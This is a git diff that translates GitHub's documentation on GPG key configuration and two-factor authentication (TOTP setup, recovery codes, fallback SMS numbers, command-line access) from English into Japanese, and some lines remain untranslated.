 If you're using a GPG key that matches your committer identity and your verified email address associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, then you can begin signing commits and signing tags.
 
 {% note %}
 
-If you don't have a GPG key that matches your committer identity, you need to associate an email with an existing key. For more information, see "[Associating an email with your GPG key](/articles/associating-an-email-with-your-gpg-key)".
+コミッターアイデンティティにマッチする GPG キーを持っていない場合、既存のキーとメールアドレスを関連付ける必要があります。 詳細は「[メールを GPG キーに関連付ける](/articles/associating-an-email-with-your-gpg-key)」を参照してください。
 
 {% endnote %}
 
-If you have multiple GPG keys, you need to tell Git which one to use.
+複数の GPG キーを持っている場合、どれを使うかを Git に伝える必要があります。
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
 {% data reusables.gpg.list-keys-with-note %}
@@ -74,41 +75,41 @@ If you have multiple GPG keys, you need to tell Git which one to use.
 
 {% linux %}
 
-## Telling Git about your GPG key
+## Git へ GPG キーを伝える
 
 If you're using a GPG key that matches your committer identity and your verified email address associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, then you can begin signing commits and signing tags.
 
 {% note %}
 
-If you don't have a GPG key that matches your committer identity, you need to associate an email with an existing key. For more information, see "[Associating an email with your GPG key](/articles/associating-an-email-with-your-gpg-key)".
+コミッターアイデンティティにマッチする GPG キーを持っていない場合、既存のキーとメールアドレスを関連付ける必要があります。 詳細は「[メールを GPG キーに関連付ける](/articles/associating-an-email-with-your-gpg-key)」を参照してください。
 
 {% endnote %}
 
-If you have multiple GPG keys, you need to tell Git which one to use.
+複数の GPG キーを持っている場合、どれを使うかを Git に伝える必要があります。
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
 {% data reusables.gpg.list-keys-with-note %}
 {% data reusables.gpg.copy-gpg-key-id %}
 {% data reusables.gpg.paste-gpg-key-id %}
-1. To add your GPG key to your bash profile, run the following command:
+1. GPG キーを bash プロファイルに追加するには、次のコマンドを実行します。
   ```shell
   $ if [ -r ~/.bash_profile ]; then echo 'export GPG_TTY=$(tty)' >> ~/.bash_profile; \
     else echo 'export GPG_TTY=$(tty)' >> ~/.profile; fi
   ```
   {% note %}
 
-  **Note:** If you don't have `.bash_profile`, this command adds your GPG key to `.profile`.
+  **メモ:** `.bash_profile` を持っていない場合、このコマンドで `.profile` に GPG キーを追加します。
 
   {% endnote %}
 
 {% endlinux %}
 
-## Further reading
+## 参考リンク
 
-- "[Checking for existing GPG keys](/articles/checking-for-existing-gpg-keys)"
-- "[Generating a new GPG key](/articles/generating-a-new-gpg-key)"
-- "[Using a verified email address in your GPG key](/articles/using-a-verified-email-address-in-your-gpg-key)"
-- "[Adding a new GPG key to your GitHub account](/articles/adding-a-new-gpg-key-to-your-github-account)"
-- "[Associating an email with your GPG key](/articles/associating-an-email-with-your-gpg-key)"
-- "[Signing commits](/articles/signing-commits)"
-- "[Signing tags](/articles/signing-tags)"
+- [既存の GPG キーのチェック](/articles/checking-for-existing-gpg-keys)
+- [新しい GPG キーの生成](/articles/generating-a-new-gpg-key)
+- [GPG キーで検証済みのメールアドレスを使う](/articles/using-a-verified-email-address-in-your-gpg-key)
+- [GitHub アカウントへの新しい GPG キーの追加](/articles/adding-a-new-gpg-key-to-your-github-account)
+- [GPG キーとメールの関連付け](/articles/associating-an-email-with-your-gpg-key)
+- 「[コミットに署名する](/articles/signing-commits)」
+- 「[タグに署名する](/articles/signing-tags)」
diff --git a/translations/ja-JP/content/authentication/securing-your-account-with-two-factor-authentication-2fa/accessing-github-using-two-factor-authentication.md b/translations/ja-JP/content/authentication/securing-your-account-with-two-factor-authentication-2fa/accessing-github-using-two-factor-authentication.md
index a58a2a56b1..1b6baa1bac 100644
--- a/translations/ja-JP/content/authentication/securing-your-account-with-two-factor-authentication-2fa/accessing-github-using-two-factor-authentication.md
+++ b/translations/ja-JP/content/authentication/securing-your-account-with-two-factor-authentication-2fa/accessing-github-using-two-factor-authentication.md
@@ -1,6 +1,6 @@
 ---
-title: Accessing GitHub using two-factor authentication
-intro: 'With 2FA enabled, you''ll be asked to provide your 2FA authentication code, as well as your password, when you sign in to {% data variables.product.product_name %}.'
+title: 2 要素認証を利用した GitHub へのアクセス
+intro: '2FA を有効にすると、{% data variables.product.product_name %} にサインインするときに、2FA 認証コードとパスワードを入力するように求められます。'
 redirect_from:
   - /articles/providing-your-2fa-security-code
   - /articles/providing-your-2fa-authentication-code
@@ -16,57 +16,58 @@ topics:
   - 2FA
 shortTitle: Access GitHub with 2FA
 ---
-With two-factor authentication enabled, you'll need to provide an authentication code when accessing {% data variables.product.product_name %} through your browser. If you access {% data variables.product.product_name %} using other methods, such as the API or the command line, you'll need to use an alternative form of authentication. For more information, see "[About authentication to {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/about-authentication-to-github)."
 
-## Providing a 2FA code when signing in to the website
+2 要素認証を有効にすると、ブラウザから {% data variables.product.product_name %} にアクセスするときに認証コードを入力する必要があります。 API やコマンドラインなどの他の方法を使用して {% data variables.product.product_name %} にアクセスする場合は、別の形式の認証を使用する必要があります。 詳しい情報については、「[{% data variables.product.prodname_dotcom %} への認証について](/github/authenticating-to-github/about-authentication-to-github)」を参照してください。
 
-After you sign in to {% data variables.product.product_name %} using your password, you'll be prompted to provide an authentication code from {% ifversion fpt or ghec %}a text message or{% endif %} your TOTP app.
+## Web サイトへのサインインの際に 2FA コードを提供
 
-{% data variables.product.product_name %} will only ask you to provide your 2FA authentication code again if you've logged out, are using a new device, or your session expires.
+パスワードを使用して {% data variables.product.product_name %}にサインインした後、{% ifversion fpt or ghec %}テキストメッセージまたは {% endif %}TOTP アプリケーションから、認証コードを入力するよう求められます。
 
-### Generating a code through a TOTP application
+{% data variables.product.product_name %}が 2FA 認証コードを再度求めるのは、ログアウトした場合、新しいデバイスを使う場合、またはセッションが期限切れになった場合のみです。
 
-If you chose to set up two-factor authentication using a TOTP application on your smartphone, you can generate an authentication code for {% data variables.product.product_name %} at any time. In most cases, just launching the application will generate a new code. You should refer to your application's documentation for specific instructions.
+### TOTP アプリケーションでのコード生成
 
-If you delete the mobile application after configuring two-factor authentication, you'll need to provide your recovery code to get access to your account. For more information, see "[Recovering your account if you lose your two-factor authentication credentials](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)"
+スマートフォン上の TOTP アプリケーションを使用して 2 要素認証をセットアップすることにした場合は、いつでも {% data variables.product.product_name %}のための認証コードを生成できます。 多くの場合、アプリケーションを起動するだけで新しいコードが生成されます。 個別の手順についてはアプリケーションのドキュメンテーションを参照してください。
+
+2 要素認証を設定した後にモバイルアプリケーションを削除した場合、アカウントにアクセスする際にリカバリコードを入力しなければなりません。 詳しい情報については[2FA クレデンシャルをなくした際のアカウントの回復](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)を参照してください。
 
 {% ifversion fpt or ghec %}
 
-### Receiving a text message
+### テキストメッセージの受信
 
-If you set up two-factor authentication via text messages, {% data variables.product.product_name %} will send you a text message with your authentication code.
+テキストメッセージで 2 要素認証をセットアップする場合、{% data variables.product.product_name %}は認証コードが記されたテキストメッセージを送信します。
 
 {% endif %}
 
-## Using two-factor authentication with the command line
+## コマンドラインでの 2 要素認証の使用
 
-After you've enabled 2FA, you must use a personal access token or SSH key instead of your password when accessing {% data variables.product.product_name %} on the command line.
+2 要素認証を有効化した後は、{% data variables.product.product_name %} にコマンドラインからアクセスする際に、パスワードの代わりに個人アクセストークンまたは SSH キーを使わなければなりません。
 
-### Authenticating on the command line using HTTPS
+### HTTPS を利用したコマンドラインでの認証
 
-After you've enabled 2FA, you must create a personal access token to use as a password when authenticating to {% data variables.product.product_name %} on the command line using HTTPS URLs.
+2FA を有効化した後は、コマンドライン上で HTTPS の URL を使って {% data variables.product.product_name %}の認証を受けるために、パスワードとして使うための個人アクセストークンを作成しなければなりません。
 
-When prompted for a username and password on the command line, use your {% data variables.product.product_name %} username and personal access token. The command line prompt won't specify that you should enter your personal access token when it asks for your password.
+コマンドラインでユーザ名とパスワードを求められたら、{% data variables.product.product_name %}のユーザ名と個人アクセストークンを入力してください。 コマンドラインプロンプトがパスワードを要求する際には、個人アクセストークンを入力すべきだということを示しません。
 
-For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)."
+詳しい情報については、「[個人アクセストークンを作成する](/github/authenticating-to-github/creating-a-personal-access-token)」を参照してください。
 
-### Authenticating on the command line using SSH
+### SSH を利用したコマンドラインでの認証
 
-Enabling 2FA doesn't change how you authenticate to {% data variables.product.product_name %} on the command line using SSH URLs. For more information about setting up and using an SSH key, see "[Connecting to {% data variables.product.prodname_dotcom %} with SSH](/articles/connecting-to-github-with-ssh/)."
+2 要素認証を有効化しても、コマンドライン上で SSH URL を使って {% data variables.product.product_name %} の認証を受けるやり方は変わりません。 SSH キーのセットアップと利用に関する詳しい情報については、「[{% data variables.product.prodname_dotcom %} に SSH で接続する](/articles/connecting-to-github-with-ssh/)」を参照してください。
 
-## Using two-factor authentication to access a repository using Subversion
+## Subversion を使ったリポジトリへのアクセスでの 2 要素認証の利用
 
-When you access a repository via Subversion, you must provide a personal access token instead of entering your password. For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)."
+SubVersion を介してリポジトリにアクセスする際には、パスワードを入力する代わりに個人アクセストークンを提供しなければなりません。 詳しい情報については、「[個人アクセストークンを作成する](/github/authenticating-to-github/creating-a-personal-access-token)」を参照してください。
 
-## Troubleshooting
+## トラブルシューティング
 
-If you lose access to your two-factor authentication credentials, you can use your recovery codes or another recovery method (if you've set one up) to regain access to your account. For more information, see "[Recovering your account if you lose your 2FA credentials](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)."
+2 要素認証のクレデンシャルを利用できなくなった場合、アカウントに再びアクセスするためには、リカバリコードを使用するか、その他のリカバリ方法 (セットアップ済みである場合) を使用できます。 詳しい情報については[2FA クレデンシャルをなくした際のアカウントの回復](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)を参照してください。
 
-If your authentication fails several times, you may wish to synchronize your phone's clock with your mobile provider. Often, this involves checking the "Set automatically" option on your phone's clock, rather than providing your own time zone.
+認証が何度も失敗するようであれば、スマートフォンのクロックをモバイルプロバイダと同期してみてください。 多くの場合、タイムゾーンを指定するのではなく、スマートフォンのクロックの「自動設定」オプションをオンにすることになります。
 
-## Further reading
+## 参考リンク
 
-- "[About two-factor authentication](/articles/about-two-factor-authentication)"
-- "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)"
-- "[Configuring two-factor authentication recovery methods](/articles/configuring-two-factor-authentication-recovery-methods)"
-- "[Recovering your account if you lose your two-factor authentication credentials](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)"
+- [2 要素認証について](/articles/about-two-factor-authentication)
+- [2 要素認証の設定](/articles/configuring-two-factor-authentication)
+- [2 要素認証のリカバリ方法の設定](/articles/configuring-two-factor-authentication-recovery-methods)
+- [2FA クレデンシャルをなくした際のアカウントの回復](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)
diff --git a/translations/ja-JP/content/authentication/securing-your-account-with-two-factor-authentication-2fa/changing-two-factor-authentication-delivery-methods-for-your-mobile-device.md b/translations/ja-JP/content/authentication/securing-your-account-with-two-factor-authentication-2fa/changing-two-factor-authentication-delivery-methods-for-your-mobile-device.md
index 025b05a7ce..416f6f776b 100644
--- a/translations/ja-JP/content/authentication/securing-your-account-with-two-factor-authentication-2fa/changing-two-factor-authentication-delivery-methods-for-your-mobile-device.md
+++ b/translations/ja-JP/content/authentication/securing-your-account-with-two-factor-authentication-2fa/changing-two-factor-authentication-delivery-methods-for-your-mobile-device.md
@@ -1,6 +1,6 @@
 ---
-title: Changing two-factor authentication delivery methods for your mobile device
-intro: You can switch between receiving authentication codes through a text message or a mobile application.
+title: モバイルデバイスに対する 2 要素認証配信方法の変更
+intro: 認証コードの受信方法を、テキストメッセージとモバイルアプリケーションとの間で切り替えることができます。
 redirect_from:
   - /articles/changing-two-factor-authentication-delivery-methods
   - /articles/changing-two-factor-authentication-delivery-methods-for-your-mobile-device
@@ -13,6 +13,7 @@ topics:
   - 2FA
 shortTitle: Change 2FA delivery method
 ---
+
 {% note %}
 
 **Note:** Changing your primary method for two-factor authentication invalidates your current two-factor authentication setup, including your recovery codes. Keep your new set of recovery codes safe. Changing your primary method for two-factor authentication does not affect your fallback SMS configuration, if configured. For more information, see "[Configuring two-factor authentication recovery methods](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods#setting-a-fallback-authentication-number)."
@@ -21,15 +22,13 @@ shortTitle: Change 2FA delivery method
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.security %}
-3. Next to "SMS delivery", click **Edit**.
-  ![Edit SMS delivery options](/assets/images/help/2fa/edit-sms-delivery-option.png)
-4. Under "Delivery options", click **Reconfigure two-factor authentication**.
-    ![Switching your 2FA delivery options](/assets/images/help/2fa/2fa-switching-methods.png)
-5. Decide whether to set up two-factor authentication using a TOTP mobile app or text message. For more information, see "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)."
-    - To set up two-factor authentication using a TOTP mobile app, click **Set up using an app**.
-    - To set up two-factor authentication using text message (SMS), click **Set up using SMS**.
+3. [SMS delivery] の隣にある [**Edit**] をクリックします。 ![SMS 配信オプションの編集](/assets/images/help/2fa/edit-sms-delivery-option.png)
+4. [Delivery options] の下にある [**Reconfigure two-factor authentication**] をクリックします。 ![2FA 配信オプションの切り替え](/assets/images/help/2fa/2fa-switching-methods.png)
+5. 2 要素認証を TOTP モバイルアプリケーションで設定するかテキストメッセージで設定するかを決めます。 詳しい情報については「[2 要素認証の設定](/articles/configuring-two-factor-authentication)」を参照してください。
+    - TOTP モバイルアプリケーションで 2 要素認証を設定するには、[**Set up using an app**] をクリックします。
+    - テキストメッセージ (SMS) で 2 要素認証を設定するには、[**Set up using SMS**] をクリックします。
 
-## Further reading
+## 参考リンク
 
-- "[About two-factor authentication](/articles/about-two-factor-authentication)"
-- "[Configuring two-factor authentication recovery methods](/articles/configuring-two-factor-authentication-recovery-methods)"
+- [2 要素認証について](/articles/about-two-factor-authentication)
+- [2 要素認証のリカバリ方法の設定](/articles/configuring-two-factor-authentication-recovery-methods)
diff --git a/translations/ja-JP/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods.md b/translations/ja-JP/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods.md
index d8d0f02c3a..a1d9bc5dea 100644
--- a/translations/ja-JP/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods.md
+++ b/translations/ja-JP/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring two-factor authentication recovery methods
-intro: You can set up a variety of recovery methods to access your account if you lose your two-factor authentication credentials.
+title: 2 要素認証リカバリ方法を設定する
+intro: 2 要素認証のクレデンシャルを紛失した場合に備え、アカウントへのアクセスを回復するさまざまな方法を設定できます。
 redirect_from:
   - /articles/downloading-your-two-factor-authentication-recovery-codes
   - /articles/setting-a-fallback-authentication-number
@@ -18,73 +18,69 @@ topics:
   - 2FA
 shortTitle: Configure 2FA recovery
 ---
-In addition to securely storing your two-factor authentication recovery codes, we strongly recommend configuring one or more additional recovery methods.
 
-## Downloading your two-factor authentication recovery codes
+2 要素認証リカバリコードを安全に保管することに加え、別のリカバリ方法を 1 つ以上設定することを強くおすすめします。
 
-{% data reusables.two_fa.about-recovery-codes %} You can also download your recovery codes at any point after enabling two-factor authentication.
+## 2 要素認証リカバリコードのダウンロード
 
-To keep your account secure, don't share or distribute your recovery codes. We recommend saving them with a secure password manager, such as:
+{% data reusables.two_fa.about-recovery-codes %}また、2 要素認証の有効化後は、リカバリコードをいつでもダウンロードできます。
+
+アカウントを安全に保つため、リカバリコードを共有や配布しないでください。 以下のような、安全なパスワードマネージャで保存することをおすすめします:
 - [1Password](https://1password.com/)
 - [LastPass](https://lastpass.com/)
 
-If you generate new recovery codes or disable and re-enable 2FA, the recovery codes in your security settings automatically update.
+新しいリカバリコードを生成するか、2 要素認証を無効化してから再有効化すると、セキュリティ設定にあるリカバリコードが自動的に更新されます。
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.security %}
 {% data reusables.two_fa.show-recovery-codes %}
-4. Save your recovery codes in a safe place. Your recovery codes can help you get back into your account if you lose access.
-    - To save your recovery codes on your device, click **Download**.
-    - To save a hard copy of your recovery codes, click **Print**.
-    - To copy your recovery codes for storage in a password manager, click **Copy**.
-  ![List of recovery codes with option to download, print, or copy the codes](/assets/images/help/2fa/download-print-or-copy-recovery-codes-before-continuing.png)
+4. リカバリコードを安全な場所に保存します。 リカバリコードは、アカウントにアクセスできなくなった場合に、再びアクセスするために役立ちます。
+    - リカバリコードをデバイスに保存するには、[**Download**] をクリックします。
+    - リカバリコードのハードコピーを保存するには、[**Print**] をクリックします。
+    - パスワードマネージャーに保存するためにリカバリコードをコピーするには [**Copy**] をクリックします。 ![コードのダウンロード、印刷、コピーのオプションがある、リカバリコードのリスト](/assets/images/help/2fa/download-print-or-copy-recovery-codes-before-continuing.png)
 
-## Generating a new set of recovery codes
+## リカバリコードのセットを新しく生成する
 
-Once you use a recovery code to regain access to your account, it cannot be reused. If you've used all 16 recovery codes, you can generate another list of codes. Generating a new set of recovery codes will invalidate any codes you previously generated.
+アクセス回復のためにリカバリコードを一度使うと、再利用はできません。 16 個のリカバリコードをすべて使った場合は、別のコードのリストを生成できます。 リカバリコードのセットを新しく生成すると、以前生成したコードはすべて無効になります。
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.security %}
 {% data reusables.two_fa.show-recovery-codes %}
-3. To create another batch of recovery codes, click **Generate new recovery codes**.
-	![Generate new recovery codes button](/assets/images/help/2fa/generate-new-recovery-codes.png)
+3. リカバリコードのセットを新しく作成するには、[**Generate new recovery codes**] をクリックします。 ![[Generate new recovery codes] ボタン](/assets/images/help/2fa/generate-new-recovery-codes.png)
 
-## Configuring a security key as an additional two-factor authentication method
+## セキュリティキーを追加の 2 要素認証方式として設定する
 
-You can set up a security key as a secondary two-factor authentication method, and use the security key to regain access to your account. For more information, see "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication#configuring-two-factor-authentication-using-a-security-key)."
+2 要素認証の二次的な方法としてセキュリティキーを設定し、そのセキュリティキーを使ってアカウントへのアクセスを回復することができます。 詳しい情報については、「[2 要素認証を設定する](/articles/configuring-two-factor-authentication#configuring-two-factor-authentication-using-a-security-key)」を参照してください。
 
 {% ifversion fpt or ghec %}
 
-## Setting a fallback authentication number
+## フォールバック認証番号を設定する
 
-You can provide a second number for a fallback device. If you lose access to both your primary device and your recovery codes, a backup SMS number can get you back in to your account.
+フォールバックデバイスのために、別の番号を提供できます。 主に使うデバイスにもリカバリコードにもアクセスできなくなった場合、バックアップの SMS 番号でアカウントにアクセスできます。
 
-You can use a fallback number regardless of whether you've configured authentication via text message or TOTP mobile application.
+認証をテキストメッセージから設定しても、TOTP モバイルアプリケーションから設定しても、フォールバック番号を使うことは可能です。
 
 {% warning %}
 
-**Warning:** Using a fallback number is a last resort. We recommend configuring additional recovery methods if you set a fallback authentication number.
-- Bad actors may attack cell phone carriers, so SMS authentication is risky.
-- SMS messages are only supported for certain countries outside the US; for the list, see "[Countries where SMS authentication is supported](/articles/countries-where-sms-authentication-is-supported)".
+**警告:** フォールバック番号を使うのは、最後の手段です。 フォールバック認証番号を設定した場合は、別のリカバリ方法も設定するようおすすめします。
+- 悪意のある人が携帯電話会社を攻撃する可能性があるため、SMS 認証にはリスクがあります。
+- SMS メッセージは、米国およびその他特定の国においてのみサポートされています。その一覧については、「[SMS 認証がサポートされている国](/articles/countries-where-sms-authentication-is-supported)」を参照してください。
 
 {% endwarning %}
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.security %}
-3. Next to "Fallback SMS number", click **Add**.
-![Add fallback SMS number button](/assets/images/help/2fa/add-fallback-sms-number-button.png)
-4. Under "Fallback SMS number", click **Add fallback SMS number**.
-![Add fallback SMS number text](/assets/images/help/2fa/add_fallback_sms_number_text.png)
-5. Select your country code and type your mobile phone number, including the area code. When your information is correct, click **Set fallback**.
-	![Set fallback SMS number](/assets/images/help/2fa/2fa-fallback-number.png)
+3. [Fallback SMS number] の隣にある [**Add**] をクリックします。 ![[Add fallback SMS number] ボタン](/assets/images/help/2fa/add-fallback-sms-number-button.png)
+4. [Fallback SMS number] の下にある [**Add fallback SMS number**] をクリックします。 ![[Add fallback SMS number] テキスト](/assets/images/help/2fa/add_fallback_sms_number_text.png)
+5. 国コードを選択し、携帯電話番号を入力します。 入力した情報が正しいことを確認してから、[**Set fallback**] をクリックします。 ![フォールバック SMS 番号の設定](/assets/images/help/2fa/2fa-fallback-number.png)
 
-After setup, the backup device will receive a confirmation SMS.
+設定後、バックアップデバイスが確認の SMS を受信します。
 
 {% endif %}
 
-## Further reading
+## 参考リンク
 
-- "[About two-factor authentication](/articles/about-two-factor-authentication)"
-- "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)"
-- "[Accessing {% data variables.product.prodname_dotcom %} using two-factor authentication](/articles/accessing-github-using-two-factor-authentication)"
-- "[Recovering your account if you lose your two-factor authentication credentials](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)"
+- [2 要素認証について](/articles/about-two-factor-authentication)
+- [2 要素認証の設定](/articles/configuring-two-factor-authentication)
+- [2 要素認証を使用して {% data variables.product.prodname_dotcom %} にアクセスする](/articles/accessing-github-using-two-factor-authentication)
+- [2FA クレデンシャルをなくした際のアカウントの回復](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)
diff --git a/translations/ja-JP/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication.md b/translations/ja-JP/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication.md
index b1b364e782..6a8e41495e 100644
--- a/translations/ja-JP/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication.md
+++ b/translations/ja-JP/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring two-factor authentication
-intro: You can choose among multiple options to add a second source of authentication to your account.
+title: 2 要素認証を設定する
+intro: 複数のオプションから選択して、アカウントの 2 番目の認証方法を追加できます。
 redirect_from:
   - /articles/configuring-two-factor-authentication-via-a-totp-mobile-app
   - /articles/configuring-two-factor-authentication-via-text-message
@@ -16,27 +16,28 @@ topics:
   - 2FA
 shortTitle: Configure 2FA
 ---
-You can configure two-factor authentication using a mobile app{% ifversion fpt or ghec %} or via text message{% endif %}. You can also add a security key.
 
-We strongly recommend using a time-based one-time password (TOTP) application to configure 2FA.{% ifversion fpt or ghec %} TOTP applications are more reliable than SMS, especially for locations outside the United States.{% endif %} TOTP apps support the secure backup of your authentication codes in the cloud and can be restored if you lose access to your device.
+モバイルアプリまたは{% ifversion fpt or ghec %}テキストメッセージ{% endif %}を使って、2 要素認証を設定できます。 また、セキュリティキーを追加することも可能です。
+
+2 要素認証の設定には、時間ベースのワンタイムパスワード (TOTP) アプリケーションを使うことを強くおすすめします。{% ifversion fpt or ghec %}TOTP アプリケーションは、特に米国外において、SMS より信頼性があります。{% endif %}TOTP アプリは、クラウド内にある認証コードのセキュアなバックアップをサポートしており、デバイスにアクセスできなくなった場合に回復できます。
 
 {% warning %}
 
-**Warning:**
-- If you're a member{% ifversion fpt or ghec %}, billing manager,{% endif %} or outside collaborator to a private repository of an organization that requires two-factor authentication, you must leave the organization before you can disable 2FA on {% data variables.product.product_location %}.
-- If you disable 2FA, you will automatically lose access to the organization and any private forks you have of the organization's private repositories. To regain access to the organization and your forks, re-enable two-factor authentication and contact an organization owner.
+**警告:**
+- 2 要素認証が必要なメンバー{% ifversion fpt or ghec %}、支払いマネージャー、{% endif %}または Organization のプライベートリポジトリへの外部コラボレーターは、2 要素認証を無効化する前に {% data variables.product.product_location %} で Organization から離脱する必要があります。
+- 2 要素認証を無効化すると、Organization や Organization のプライベートリポジトリのフォークへのアクセスも失います。 Organization およびフォークへのアクセスを再取得するには、2 要素認証を再有効化し、Organization オーナーに連絡します。
 
 {% endwarning %}
 
 {% ifversion fpt or ghec %}
 
-If you're a member of an {% data variables.product.prodname_emu_enterprise %}, you cannot configure 2FA for your {% data variables.product.prodname_managed_user %} account. 2FA should be configured through your identity provider. 
+If you're a member of an {% data variables.product.prodname_emu_enterprise %}, you cannot configure 2FA for your {% data variables.product.prodname_managed_user %} account. 2FA should be configured through your identity provider.
 
 {% endif %}
 
-## Configuring two-factor authentication using a TOTP mobile app
+## TOTP モバイルアプリを使って 2要素認証を設定する
 
-A time-based one-time password (TOTP) application automatically generates an authentication code that changes after a certain period of time. We recommend using cloud-based TOTP apps such as:
+時間ベースのワンタイムパスワード (TOTP) アプリケーションは、認証コードを自動的に生成します。このコードは、一定の時間が過ぎた後は変化します。 以下のような、クラウドベースの TOTP アプリの利用をおすすめします:
 - [1Password](https://support.1password.com/one-time-passwords/)
 - [Authy](https://authy.com/guides/github/)
 - [LastPass Authenticator](https://lastpass.com/auth/)
@@ -44,51 +45,46 @@ A time-based one-time password (TOTP) application automatically generates an aut
 
 {% tip %}
 
-**Tip**: To configure authentication via TOTP on multiple devices, during setup, scan the QR code using each device at the same time. If 2FA is already enabled and you want to add another device, you must re-configure 2FA from your security settings.
+**参考**: 複数のデバイスで TOTP により認証を設定するには、セットアップ時に、QR コード を各デバイスで同時にスキャンします。 2 要素認証がすでに有効化されており、別のデバイスを追加したい場合は、セキュリティ設定から 2 要素認証を再設定する必要があります。
 
 {% endtip %}
 
-1. Download a TOTP app.
+1. TOTP アプリをダウンロードします。
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.security %}
 {% data reusables.two_fa.enable-two-factor-authentication %}
 {%- ifversion fpt or ghes > 3.1 %}
 5. Under "Two-factor authentication", select **Set up using an app** and click **Continue**.
 6. Under "Authentication verification", do one of the following:
-    - Scan the QR code with your mobile device's app. After scanning, the app displays a six-digit code that you can enter on {% data variables.product.product_name %}.
-    - If you can't scan the QR code, click **enter this text code** to see a code that you can manually enter in your TOTP app instead.
-    ![Click enter this code](/assets/images/help/2fa/2fa_wizard_app_click_code.png)
-7. The TOTP mobile application saves your account on {% data variables.product.product_location %} and generates a new authentication code every few seconds. On {% data variables.product.product_name %}, type the code into the field under "Enter the six-digit code from the application". If your recovery codes are not automatically displayed, click **Continue**.
-![TOTP enter code field](/assets/images/help/2fa/2fa_wizard_app_enter_code.png)
+    - QR コードを、モバイルデバイスのアプリでスキャンする。 スキャン後、アプリは {% data variables.product.product_name %} で入力する 6 桁の数字を表示します。
+    - If you can't scan the QR code, click **enter this text code** to see a code that you can manually enter in your TOTP app instead. ![[enter this code] をクリック](/assets/images/help/2fa/2fa_wizard_app_click_code.png)
+7. The TOTP mobile application saves your account on {% data variables.product.product_location %} and generates a new authentication code every few seconds. On {% data variables.product.product_name %}, type the code into the field under "Enter the six-digit code from the application". If your recovery codes are not automatically displayed, click **Continue**. ![TOTP enter code field](/assets/images/help/2fa/2fa_wizard_app_enter_code.png)
 {% data reusables.two_fa.save_your_recovery_codes_during_2fa_setup %}
 {%- else %}
-5. On the Two-factor authentication page, click **Set up using an app**.
-6. Save your recovery codes in a safe place. Your recovery codes can help you get back into your account if you lose access.
-    - To save your recovery codes on your device, click **Download**.
-    - To save a hard copy of your recovery codes, click **Print**.
-    - To copy your recovery codes for storage in a password manager, click **Copy**.
-    ![List of recovery codes with option to download, print, or copy the codes](/assets/images/help/2fa/download-print-or-copy-recovery-codes-before-continuing.png)
-7. After saving your two-factor recovery codes, click **Next**.
-8. On the Two-factor authentication page, do one of the following:
-    - Scan the QR code with your mobile device's app. After scanning, the app displays a six-digit code that you can enter on {% data variables.product.product_name %}.
-    - If you can't scan the QR code, click **enter this text code** to see a code you can copy and manually enter on {% data variables.product.product_name %} instead.
-    ![Click enter this code](/assets/images/help/2fa/totp-click-enter-code.png)
-9. The TOTP mobile application saves your account on {% data variables.product.product_location %} and generates a new authentication code every few seconds. On {% data variables.product.product_name %}, on the 2FA page, type the code and click **Enable**.
-	![TOTP Enable field](/assets/images/help/2fa/totp-enter-code.png)
+5. [Two-factor authentication] のページで、[**Set up using an app**] をクリックします。
+6. リカバリコードを安全な場所に保存します。 リカバリコードは、アカウントにアクセスできなくなった場合に、再びアクセスするために役立ちます。
+    - リカバリコードをデバイスに保存するには、[**Download**] をクリックします。
+    - リカバリコードのハードコピーを保存するには、[**Print**] をクリックします。
+    - パスワードマネージャーに保存するためにリカバリコードをコピーするには [**Copy**] をクリックします。 ![コードのダウンロード、印刷、コピーのオプションがある、リカバリコードのリスト](/assets/images/help/2fa/download-print-or-copy-recovery-codes-before-continuing.png)
+7. 2要素のリカバリコードを保存したら、**Next**をクリックします。
+8. [Two-factor authentication] ページで、次のいずれかを実行します:
+    - QR コードを、モバイルデバイスのアプリでスキャンする。 スキャン後、アプリは {% data variables.product.product_name %} で入力する 6 桁の数字を表示します。
+    - QR コードをスキャンできない場合は、[**enter this text code**] をクリックしてコードを表示し、それをコピーして {% data variables.product.product_name %} に手入力してください。 ![[enter this code] をクリック](/assets/images/help/2fa/totp-click-enter-code.png)
+9. The TOTP mobile application saves your account on {% data variables.product.product_location %} and generates a new authentication code every few seconds. {% data variables.product.product_name %} の 2 要素認証ページでコードを入力し、[**Enable**] をクリックします。 ![[TOTP Enable] フィールド](/assets/images/help/2fa/totp-enter-code.png)
